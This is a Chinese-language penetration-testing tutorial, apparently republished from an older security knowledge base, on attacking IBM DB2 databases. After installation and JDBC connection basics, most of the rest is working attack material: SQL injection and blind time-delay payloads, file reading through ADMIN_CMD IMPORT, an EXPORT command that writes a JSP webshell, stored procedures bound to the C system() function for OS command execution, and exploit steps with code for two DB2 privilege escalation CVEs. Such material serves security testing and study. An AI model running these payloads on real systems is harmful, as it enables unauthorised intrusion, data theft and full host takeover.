DB2在滲透中的應用

wyzsk發表於2020-08-19

等TA回來 · 2016/06/17 10:30

0x00 DB2簡介


DB2是IBM公司推出關係型資料庫管理系統。

現今DB2主要包含以下三個系列:

  • DB2 for Linux, UNIX and Windows(LUW)
  • DB2 for z/OS
  • DB2 for i(formerly OS/400)

IBM DB2定位於高階市場,廣泛應用於企業級應用中

0x01 DB2的安裝


以下兩小節分別介紹DB2在Linux和Windows平臺下的安裝,安裝的版本都為V9.5版本

DB2在Linux下的安裝

在Linux下DB2依賴compat-libstdc++庫,安裝DB2之前需要先行安裝該庫

安裝上述庫完成後執行DB2安裝程式中的db2setup啟動圖形化安裝介面

pic1

DB2在安裝過程中會建立db2inst1、db2fenc1以及dasusr1三個使用者,此三個使用者會加入到系統中成為系統的使用者,也可以在安裝之前就建立

pic2

pic3

pic4

安裝完成後切換到db2inst1使用者,執行db2cc啟動圖形化控制中心(DB2從V10.1版本開始不再包含圖形化的控制中心,可使用命令列或IBM提供的Data Studio工具管理)

pic5

DB2在Windows下的安裝

執行安裝程式中的setup.exe程式開始安裝,安裝過程中會建立db2admin使用者,並將該使用者新增到管理員組中

安裝完成後啟動控制中心

pic6

0x02 DB2的使用


DB2服務及埠

DB2各項服務名稱及埠可使用以下方法檢視:

Linux:

/etc/services 檔案
複製程式碼

Windows:

C:\Windows\System32\drivers\etc\services檔案
複製程式碼

DB2預設監聽連線的埠為50000

DB2的使用者

DB2的所有使用者都是作業系統使用者,且使用者密碼也與作業系統中該使用者的密碼繫結。

Linux下,安裝DB2會建立db2inst1,db2fenc1和dasusr1三個使用者。Windows下,會建立db2admin使用者並將其新增到管理員組。

本地作業系統使用者並不全為DB2使用者,需要在DB2管理功能中新增作業系統使用者為資料庫使用者。

本地管理DB2

命令列方式

本地管理DB2資料庫可以使用命令列或圖形化工具

IBM DB2 Universal Database(UDB)命令列處理器(CLP)是用於訪問 DB2 函式的方便介面,CLP 接受來自 DB2 命令列的命令或 SQL 語句。

在基於Linux 和 UNIX 的系統中,這個命令列是 DB2 例項的命令列。

在Windows 作業系統中,它是啟用了CLP 命令視窗的命令列;在這種情況下,必須先(從普通命令視窗)執行 db2cmd 命令來啟動 DB2 命令列環境。

Windows下的命令列:

pic7

Linux下的命令列:

pic8

命令列的詳細使用方法及語法可參考IBM官方文件

圖形介面方式

可使用DB2的控制中心在本地使用圖形化方式管理DB2,如下:

Windows:

pic9

Linux:

pic10

注:
DB2從V10.1版本開始不再包含圖形化的控制中心,可IBM提供的DataStudio工具替換

遠端管理DB2

遠端管理DB2也有命令列和圖形化兩種方式,使用命令列方式需要安裝DB2客戶端,可在IBM官網上下載。

遠端圖形化管理可以使用Quest Centor for DB2工具。使用該工具也需要安裝DB2客戶端。

該工具使用方法如下:

右鍵新增DB2伺服器:

pic11

配置DB2伺服器的地址和作業系統:

pic12

配置節點名稱,例項名稱和資料庫埠:

pic13

在例項上右鍵管理登入配置登入憑證:

pic14

pic15

在例項上右鍵新增資料庫:

pic16

pic17

新增後情況:

pic18

執行SQL語句:

pic19

在JAVA程式中連線DB2

JAVA程式連線DB2有四種方式TYPE1、TYPE2、TYPE3、TYPE4,其中TYPE2和TYPE4應用較廣泛,四種方式的基本架構如下:

TYPE1:

pic20

TYPE2:

pic21

TYPE3:

pic22

TYPE4:

pic23

下面介紹使用TYPE2和TYPE4方式連線DB2的方法

使用TYPE2方式必須安裝DB2客戶端,在客戶端中新增相關資料庫並設定別名,可使用客戶端命令列或圖形化工具“配置助手”新增,如下圖

pic24

使用TYPE2型別有兩種方法:

方法一:

驅動程式位於db2jcc.jar包中,且在Windows下JDK必須可以訪問到db2jdbc.dll和db2jcct2.dll,db2jdbc.dll和db2jcct2.dll位於DB2客戶端程式SQLLIB/BIN目錄下

連線程式碼如下:

#!java
Class.forName("com.ibm.db2.jcc.DB2Driver").newInstance();       
conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");
複製程式碼

其中jdbc:db2:TESTDB2中的TESTDB2即為之前在客戶端中新增的資料庫別名

方法二:

驅動程式位於db2java.zip包中,且在Windows下JDK必須可以訪問到db2jdbc.dll,db2jdbc.dll位於DB2客戶端程式SQLLIB/BIN目錄下

連線程式碼如下:

#!java
Driver driver=(Driver) Class.forName("COM.ibm.db2.jdbc.app.DB2Driver").newInstance(); 
DriverManager.registerDriver(driver);
conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");
複製程式碼

其中jdbc:db2:TESTDB2中的TESTDB2即為之前在客戶端中新增的資料庫別名

注:db2java.zip在DB2 LUW 10.1中已停用,如要使用TYPE2方式建議使用db2jcc.jar驅動程式

使用TYPE4方式連線DB2方法:

驅動程式位於db2jcc.jar包中,使用此方法應用程式所在主機不需安裝任何其他程式

連線程式碼:

#!java
Class.forName(com.ibm.db2.jcc.DB2Driver).newInstance();
conn =DriverManager.getConnection(jdbc:db2://192.168.60.144:50000/TESTDB2, db2admin, 123456);
複製程式碼

注:

  1. TYPE4需設定資料庫的編碼為utf-8否則報錯
  2. TYPE4還需要db2jcc_license_cu.jar

上述驅動程式所在包db2jcc.jar、db2jcc_license_cu.jar、db2java.zip均可在DB2伺服器安裝目錄下找到,例如在Windows版本V9.5中位於DB2安裝目錄下的SQLLIB/java目錄

pic25

db2jcc.jar與db2java.zip驅動程式在錯誤處理方面有所不同

查詢在DB2伺服器端出現錯誤時,db2java.zip驅動程式會將DB2伺服器產生的錯誤資訊原樣返回給應用程式,而db2jcc.jar驅動程式使用了自定義的錯誤資訊。

db2java.zip的錯誤資訊:

pic26

db2jcc.jar的錯誤資訊:

pic27

0x03 DB2 SQL隱碼攻擊相關問題


獲取DB2資料庫資訊的語句

獲取資料庫版本:

#!sql
SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo
複製程式碼

獲取當前使用者:

#!sql
SELECT user FROM sysibm.sysdummy1
SELECT session_user FROM sysibm.sysdummy1
SELECT system_user FROM sysibm.sysdummy1
複製程式碼

獲取資料庫的使用者:

#!sql
SELECT distinct(authid) FROM sysibmadm.privileges
SELECT distinct(grantee) FROM sysibm.systabauth
複製程式碼

獲取資料庫表的許可權:

#!sql
SELECT * FROM syscat.tabauth
複製程式碼

獲取當前使用者的許可權:

#!sql
SELECT * FROM syscat.tabauth where grantee = current user
複製程式碼

列出資料庫的DBA賬戶:

#!sql
SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'
複製程式碼

獲取當前資料庫:

#!sql
SELECT current server FROM sysibm.sysdummy1
複製程式碼

獲取當前資料庫中所有表:

#!sql
SELECT table_name FROM sysibm.tables
SELECT name FROM sysibm.systables
複製程式碼

獲取當前資料庫中所有列:

#!sql
SELECT name, tbname, coltype FROM sysibm.syscolumns
複製程式碼

獲取資料庫所在主機相關資訊:

#!sql
SELECT * FROM sysibmadm.env_sys_info
複製程式碼

DB2 SQL語句特性

註釋符:

DB2資料庫使用雙連字元--作為單行註釋,使用/**/作為多行註釋

SELECT中獲得前N條記錄的SQL語法:

#!sql
SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only
複製程式碼

擷取字串:

#!sql
SELECT substr('abc',2,1) FROM sysibm.sysdummy1
複製程式碼

上述語句會得到字元b

位元操作AND/OR/NOT/XOR

#!sql
SELECT bitand(1,0) FROM sysibm.sysdummy1
複製程式碼

上述語句會得到0

字元與ASCII碼互相轉換:

#!sql
SELECT chr(65) FROM sysibm.sysdummy1
複製程式碼

上述語句會得到字元’A’

#!sql
SELECT ascii('A') FROM sysibm.sysdummy1
複製程式碼

上述語句會得到字元’A’的ASCII碼65

型別轉換:

#!sql
SELECT cast('123' as integer) FROM sysibm.sysdummy1
複製程式碼

上述語句將字串”123”轉為資料123

#!sql
SELECT cast(1 as char) FROM sysibm.sysdummy1
複製程式碼

上述語句將數字1轉為字串”1”

字串連線:

#!sql
SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1
SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1
複製程式碼

上述兩個語句都會返回字串”abc”

獲取長度:

#!sql
SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY
複製程式碼

條件語句:

#!sql
SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1
複製程式碼

上述語句將返回字串'AAAAAAAAAA'

時間延遲:

#!sql
and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68
複製程式碼

上述語句若user的第一個字元的ASCII碼為68將造成延時

UNION操作符:

DB2支援在SELECT語句中使用UNION操作符,UNION的各列必須型別相同才不會報錯。

且不能直接使用SELECT … FROM … UNION SELECT NULL, NULL … FROM …的方法。DB2在SELECT中使用NULL需要指定型別,如下:

#!sql
select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ...
複製程式碼

多語句查詢:

DB2不支援形如statement1; statement2形式的多語句查詢

DB2的SQL隱碼攻擊方法

對DB2進行SQL隱碼攻擊通用的方法是使用盲注,利用上兩個小結的內容通過盲注獲取資料庫資訊。

由於DB2的UNION操作符限制較多,因此利用UNION注入很多時候不會成功。由於DB2不支援多語句查詢,因此無法通過多語句查詢方法注入並呼叫儲存過程。

另外,可利用資料庫的報錯資訊通過SQL隱碼攻擊獲取部分敏感資訊,如下:

先使用通用的orderby方法猜出列數

在查詢的條件後附加group by 1--會顯示本次查詢的表中的第一列列名ID,之後將條件改為group by ID--得到第二列的列名NAME,依次增加group by後的列名,如group by ID, NAME,將列舉當前表中的所有列

pic28

pic29

DB2的SQL隱碼攻擊工具

經測試針對DB2的SQL隱碼攻擊工具中sqlmap相對具有可用性,部分截圖如下:

pic30

pic31

pic32

但經測試其仍然存在一些問題,如獲取列資訊不全、盲注功能不好用等

0x04 利用DB2讀寫作業系統檔案


在滲透測試中可以使用DB2讀寫系統檔案,達到獲取敏感資訊、寫webshell等目的。

本節所描述方法在DB2 V9.5 Windows, Linux下測試成功

利用DB2讀作業系統檔案

DB2使用IMPORT命令從檔案中讀取內容並插入到資料庫表中,使用方法:

#!sql
IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT
複製程式碼

上述命令執行後即可將C:\Windows\win.ini的內容插入到表CONTENT中

DB2的ADMIN_CMD儲存過程用於執行DB2命令列(CLP)命令,其schema為SYSPROC,從8.2.2版本開始引入 該儲存過程語法:

#!sql
ADMIN_CMD('command_string')
複製程式碼

引數command_string為要執行的命令

呼叫儲存過程使用CALL語句,語法:

#!sql
CALL ADMIN_CMD('command_string')
複製程式碼

呼叫ADMIN_CMD儲存過程執行IMPORT命令將檔案讀入資料庫表方法:

#!sql
CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');
複製程式碼

執行該儲存過程的結果:

pic33

pic34

pic35

遠端連線資料庫的使用者可以通過呼叫ADMIN_CMD儲存過程讀取作業系統檔案,經測試(DB2 V9.5)資料庫普通使用者預設具有呼叫ADMIN_CMD儲存過程的許可權,遠端連線資料庫的使用者可以首先建立一個表(或對已存在的IMPORT命令涉及的表有INSERT和SELECT許可權),然後呼叫ADMIN_CMD儲存過程執行IMPORT命令將檔案讀入建立的表中。如下:

遠端連線資料庫並呼叫ADMIN_CMD儲存過程執行IMPORT命令:

pic36

pic37

讀取的檔案資訊:

pic38

利用DB2向作業系統寫檔案

DB2的EXPORT命令用於將資料庫中的內容匯入到檔案中,使用語法如下:

#!sql
EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;
複製程式碼

使用上一小節提到的ADMIN_CMD儲存過程執行該命令方法:

#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');
複製程式碼

呼叫過程和結果:

pic39

pic40

遠端連線資料庫的使用者可以先建立一個表(或對EXPORT命令涉及的表具有SELECT許可權),然後呼叫ADMIN_CMD儲存過程執行EXPORT命令向作業系統寫檔案

向作業系統寫入包含某些字串的檔案語法如下:

#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
複製程式碼

遠端呼叫結果:

pic41

pic42

利用該方法寫webshell語法:

#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
複製程式碼

遠端呼叫結果:

pic43

pic44

pic45

注:
通過EXPORT向檔案寫入自定義字串內容時SELECT的表中必須至少有一條記錄否則寫入內容為空

0x05 利用DB2執行作業系統命令


可利用DB2儲存過程執行作業系統命令。遠端連線資料庫的使用者需要具有建立儲存過程的許可權,連線資料庫後建立一個可以執行作業系統命令的儲存過程並呼叫。

建立此種儲存過程並呼叫的語法如下:

Windows:

#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME 'c:\windows\system32\msvcrt!system' 
LANGUAGE C 
DETERMINISTIC 
PARAMETER STYLE DB2SQL

CALL db2_cmd_exec ('whoami /all > C:\whoami.log')
複製程式碼

Linux:

#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' 
LANGUAGE C 
DETERMINISTIC 
PARAMETER STYLE DB2SQL

call db2_cmd_exec ('whoami > /tmp/whoami.log')
複製程式碼

執行結果:

pic46

pic47

pic48

pic49

注:

建立的儲存過程預設為FENCED(受保護的),例如對於Linux下DB2的,使用db2inst1使用者連線資料庫建立並執行上述儲存,DB2伺服器端實際是以db2fenc1使用者執行該儲存過程的。

FENCED儲存過程單獨啟用一個新的地址空間,而UNFENCED儲存過程和呼叫它的程式使用用一個地址空間,一般來說FENCED儲存過程比較安全。

若要建立NOTFENCED的儲存過程(需要具有SYSADM特權、DBADM 特權或一個特殊的特權(CREATE_NOT_FENCED)),需要在建立儲存過程中指定,如下

#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' 
LANGUAGE C 
DETERMINISTIC 
PARAMETER STYLE DB2SQL
NOT FENCED
複製程式碼

0x06 利用DB2提權


本節介紹兩個DB2提權漏洞原理及利用方法

CVE-2014-0907

CVE-2014-0907是一個DB2本地提權漏洞,受影響版本為AIX, Linux, HP-UX以及Solaris上的DB2 V9.5(FP9之前的V9.5不受影響), V9.7, V10.1, V10.5版本

CVE-2014-0907漏洞允許一個本地普通使用者獲取到root許可權

DB2的db2iclean程式會在當前目錄下搜尋libdb2ure2.so.1庫檔案,下圖為執行該程式時對庫檔案的訪問情況,可見DB2對於libdb2ure2.so.1庫檔案的搜尋在當前目錄先於DB2安裝目錄

#!sql
strace -o /tmp/db2iclean.log  /home/db2inst1/sqllib/adm/db2iclean
複製程式碼

pic50

如果當前目錄下有惡意使用者寫入的同名庫檔案,則DB2程式會載入該檔案並執行其中的程式碼。由於db2iclean命令是SUID root許可權,因此惡意程式碼會以root許可權被執行。

pic51

如將下列程式碼編譯為庫檔案並放在當前目錄下:

#!cpp
// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
    system("id > /m.log");
}

$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp
複製程式碼

使用db2iadm1組的普通使用者執行db2iclean程式:

#!sql
<DB2_instance_install_directory>/adm/db2iclean
複製程式碼

可見此時euid為0,程式碼以root許可權執行

pic52

注意:由於db2iclean不是公開執行許可權,所以攻擊者需要使用db2iadm1組使用者執行,或誘使該組成員在攻擊者寫入了惡意庫檔案的目錄下執行該程式。

CVE-2013-6744

CVE-2013-6744是DB2在windows平臺下的提權漏洞,利用該漏洞將使windows普通使用者獲取到Administrator許可權

存在漏洞的DB2版本:

  • 9.5, 9.7 FP9a之前版本
  • 10.1 FP3a之前版本
  • 10.5 FP3a之前版本

利用該漏洞需要有一個可以連線DB2資料庫的使用者,且該使用者具有建立外部例程的許可權(CREATE_EXTERNAL_ROUTINE)

該漏洞原理為:在Windows平臺特權帳戶預設情況下,DB2服務執行時並不受訪問控制檢查,這意味著可以通過CREATE_EXTERNAL_ROUTINE許可權建立一個庫檔案並且形成呼叫,從而許可權得以提升。

漏洞利用步驟:

1.使用具有CREATE_EXTERNAL_ROUTINE許可權的使用者執行以下DDL,利用C runtime system來建立一個儲存過程:

#!sql
CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL
複製程式碼

2.呼叫剛才建立的儲存過程:

#!sql
CALL db2_exec('whoami /all > C:\whoami.log')
複製程式碼

檢視命令建立的whoami.log檔案,發現包含了db2admin資訊。這意味著,我們用一個非管理員賬戶成功用管理員許可權執行了命令。

0x07 參考


相關文章